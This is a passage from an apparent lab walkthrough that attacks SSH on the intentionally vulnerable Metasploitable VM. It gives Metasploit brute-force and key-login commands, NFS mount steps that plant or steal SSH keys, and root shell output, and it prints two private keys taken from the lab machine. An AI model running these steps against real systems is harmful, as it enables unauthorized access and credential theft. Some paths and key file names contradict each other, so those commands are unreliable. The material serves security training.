Metasploitable/SSH/Exploits

https://www.offensive-security.com/metasploit-unleashed/scanner-ssh-auxiliary-modules/

SSH Service Info

First, a reminder of the information nmap returned about the SSH service after a port scan:

22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

This server isn't using the 1.0 protocol, which is hopelessly broken and easy to defeat. This means getting past SSH will be (at least) mildly challenging.

Links with Background Info

Here is some good background info two SSH attacks: https://www.offensive-security.com/metasploit-unleashed/scanner-ssh-auxiliary-modules/

The first attack is ssh_login, which allows you to use metasploit to brute-force guess SSH login credentials.

• Module name is auxiliary/scanner/ssh/ssh_login

The second attack requires a private key. If you do gain access to the private SSH keys on a machine, you can attempt to authenticate with a large number of hosts and services using that private key.

• Module name is auxiliary/scanner/ssh/ssh_login_pubkey

Brute Force ssh_login

We already covered how to brute force the login with Hydra, Metasploitable/SSH/Brute Force

Did you know you can also brute force an SSH login with Metasploitable? Use the auxiliary/scanner/ssh/ssh_login module.

Setting Up the Attack

We will use the module auxiliary/scanner/ssh/ssh_login:

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options

Module options:

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             yes       Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Set this to run on the Metasploitable virtual box target:

msf auxiliary(ssh_login) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf auxiliary(ssh_login) > set VERBOSE false
VERBOSE => false

Running the Attack

Now run the attack:

msf auxiliary(ssh_login) > run

[*] 10.0.0.27:22 - SSH - Starting buteforce
[*] Command shell session 1 opened (?? -> ??) at 2016-03-26 17:25:18 -0600
[+] 10.0.0.27:22 - SSH - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Wed Apr 10 12:02:00 UTC 2014 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > 

Get a Shell

At this point, we can create a session with the machine that we compromised. Here we execute some commands as user msfadmin, to see what groups we're in:

msf auxiliary(ssh_login) > sessions -i 1
[*] Starting interaction with 1...

id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Wed Apr 10 12:02:00 UTC 2014 i686 GNU/Linux '

Private Key ssh_login_pubkey

If you manage to get your hands on a private key, the auxiliary/scanner/ssh/ssh_login_pubkey module is for you!

This will allow you to get root.

Obtaining Private Key

To carry out this attack, you will need to have access to the file system, and/or be able to mount the remote file system (which, on Metasploitable, happens to be possible!): see Metasploitable/NFS

Once you've got access to the file system, you can either plant your keys on the target (add your public SSH keys onto the target machine's list of trusted machines, allowing you to log on without a password), or you can steal their private keys (copy a user's private SSH keys from their home directory, giving you passwordless access to any machines that the target user has passwordless access to.)

Planting Private Keys

To plant your private keys on the remote machine, you'll need write access to the target user's home directory. You'll generate a public SSH key from the command-and-control server, the machine you want to have access WITH, and add it to the other machine's ~/.ssh/authorized_keys.

This presumes the .ssh directory exists. If it doesn't exist, you can make it, and tamper with the filesystem.

# service rpcbind start
# mkdir /tmp/target
# mount -t nfs 10.0.0.27:/ /temp/target
# cd /tmp/target/home/msfadmin/ && mkdir .ssh/
# echo ~/.ssh/id_rsa >> /tmp/target/home/msfadmin/.ssh/authorized_keys
# umount /tmp/target

Stealing Private Keys

To run through the steps again quickly:

<pre>
# service rpcbind start
# mkdir /tmp/target
# mount -t nfs 10.0.0.27:/ /temp/target
# cp /tmp/target/home/msfadmin/.ssh/id_rsa ~/metasploitable_privatekey
# umount /tmp/target

Now we have a copy of the msfadmin account's private SSH key.

Setting Up the Attack

Here's how it works. We'll use the auxiliary/scanner/ssh/ssh_login_pubkey module to carry out this attack.

msf > use auxiliary/scanner/ssh/ssh_login_pubkey
msf auxiliary(ssh_login_pubkey) > show options

Module options:

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   KEY_FILE                           no        Filename of one or several cleartext private keys.
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(ssh_login_pubkey) > 

Set some options, such as the private key file, the username to try and remotely log in to, and the host of the machine to attempt to log in to using the private key:

msf auxiliary(ssh_login_pubkey) > set KEY_FILE /tmp/r00tprivatekey
KEY_FILE => /tmp/id_rsa
msf auxiliary(ssh_login_pubkey) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login_pubkey) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(ssh_login_pubkey) > 

Running the Attack

Now it's go time:

msf auxiliary(ssh_login_pubkey) > run

[*] 10.0.0.27:22 SSH - Testing Cleartext Keys
[*] 10.0.0.27:22 SSH - Testing 1 keys from /root/r00tmsfkey
[+] 10.0.0.27:22 SSH - Success: 'root:-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqld
JkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qO
ffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5
JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9I
yhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7b
wkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3wIBIwKCAQBaUjR5bUXnHGA5fd8N
UqrUx0zeBQsKlv1bK5DVm1GSzLj4TU/S83B1NF5/1ihzofI7OAQvlCdUY2tHpGGa
zQ6ImSpUQ5i9+GgBUOaklRL/i9cHdFv7PSonW+SvF1UKY5EidEJRb/O6oFgB5q8G
JKrwu+HPNhvD+dliBnCn0JU+Op/1Af7XxAP814Rz0nZZwx+9KBWVdAAbBIQ5zpRO
eBBlLSGDsnsQN/lG7w8sHDqsSt2BCK8c9ct31n14TK6HgOx3EuSbisEmKKwhWV6/
ui/qWrrzurXA4Q73wO1cPtPg4sx2JBh3EMRm9tfyCCtB1gBi0N/2L7j9xuZGGY6h
JETbAoGBANI8HzRjytWBMvXh6TnMOa5S7GjoLjdA3HXhekyd9DHywrA1pby5nWP7
VNP+ORL/sSNl+jugkOVQYWGG1HZYHk+OQVo3qLiecBtp3GLsYGzANA/EDHmYMUSm
4v3WnhgYMXMDxZemTcGEyLwurPHumgy5nygSEuNDKUFfWO3mymIXAoGBAMqZi3YL
zDpL9Ydj6JhO51aoQVT91LpWMCgK5sREhAliWTWjlwrkroqyaWAUQYkLeyA8yUPZ
PufBmrO0FkNa+4825vg48dyq6CVobHHR/GcjAzXiengi6i/tzHbA0PEai0aUmvwY
OasZYEQI47geBvVD3v7D/gPDQNoXG/PWIPt5AoGBAMw6Z3S4tmkBKjCvkhrjpb9J
PW05UXeA1ilesVG+Ayk096PcV9vngvNpLdVAGi+2jtHuCQa5PEx5+DLav8Nriyi2
E5l35bqoiilCQ83PriCAMpL49iz6Pn00Z3o+My1ZVJudQ5qhjVznY+oBdM3DNpAE
xn6yeL+DEiI/XbPngsWvAoGAbfuU2a6iEQSp28iFlIKa10VlS2U493CdzJg0IWcF
2TVjoMaFMcyZQ/pzt9B7WQY7hodl8aHRsQKzERieXxQiKSxuwUN7+3K4iVXxuiGJ
BMndK+FYbRpEnaz591K6kYNwLaEg70BZ0ek0QjC2Ih7t1ZnfdFvEaHFPF05foaAg
iIMCgYAsNZut02SC6hwwaWh3Uxr07s6jB8HyrET0v1vOyOe3xSJ9YPt7c1Y20OQO
Fb3Yq4pdHm7AosAgtfC1eQi/xbXP73kloEmg39NZAfT3wg817FXiS2QGHXJ4/dmK
94Z9XOEDocClV7hr9H//hoO8fV/PHXh0oFQvw1d+29nf+sgWDg==
-----END RSA PRIVATE KEY-----
' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 1 opened (10.0.0.5:33428 -> 10.0.0.27:22) at 2016-03-26 19:42:50 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login_pubkey) >

Success - we've got root.

Getting a Shell

Now we can use the sessions command to utilize the information we just found and set up an interactive session.

msf auxiliary(ssh_login_pubkey) > sessions -i 1
[*] Starting interaction with 1...

id
uid=0(root) gid=0(root) groups=0(root)

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

whoami
root

pwd
/root

We can create more mischief, and make copies of everyone's private SSH keys:

cat /home/user/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQDVoHGx78RdmEV9IE4s8qGWs8x4lOfut4ShTocyXIfHWUKRVOYB
pA5Gd9KwuI6zaglzQzedEQOMpXDbTu/AfyOPuWAmd/X2kolyKC34vLTlVrU7YN5Z
Lr93kldM7khnqmTxzLXqeoos0AOcqApZAso/LMFx/nDwRubkT4l2C/ddawIVAMv6
kqsvLq/L0cLLBdZn+Nw+k8cRAoGAILfnDd3w09UUQmM/1Zqn1LKluI7WdOpL8dy/
Nk9mdWFXl3u/dvSVnrvXdzgfjXhPBKKTIlmk2U9FiPjpM8UgBsrk7JLnuJ7xgn8Z
w6+fMWtaWXEjuukeYwkgETB1OlgViHdzGM7CTWakzeLqEWuLSBcDPF/fStFFFZi7
zWzwchACgYBNfKRDwM/QnEpdRTTsRBh9rALq6eDbLNbu/5gozf4Fv1Dt1Zmq5Zxt
XeQtW5BYyorILRZ5/Y4pChRa01bxTRSJah0RJk5wxAUPZ282N07fzcJyVlBojMvP
lbAplpSiecCuLGX7G04Ie8SFzT+wCketP9Vrw0PvtUZU3DfrVTCytgIUcihlgVO0
XcyqKVITUMZyayEOuIE=
-----END DSA PRIVATE KEY-----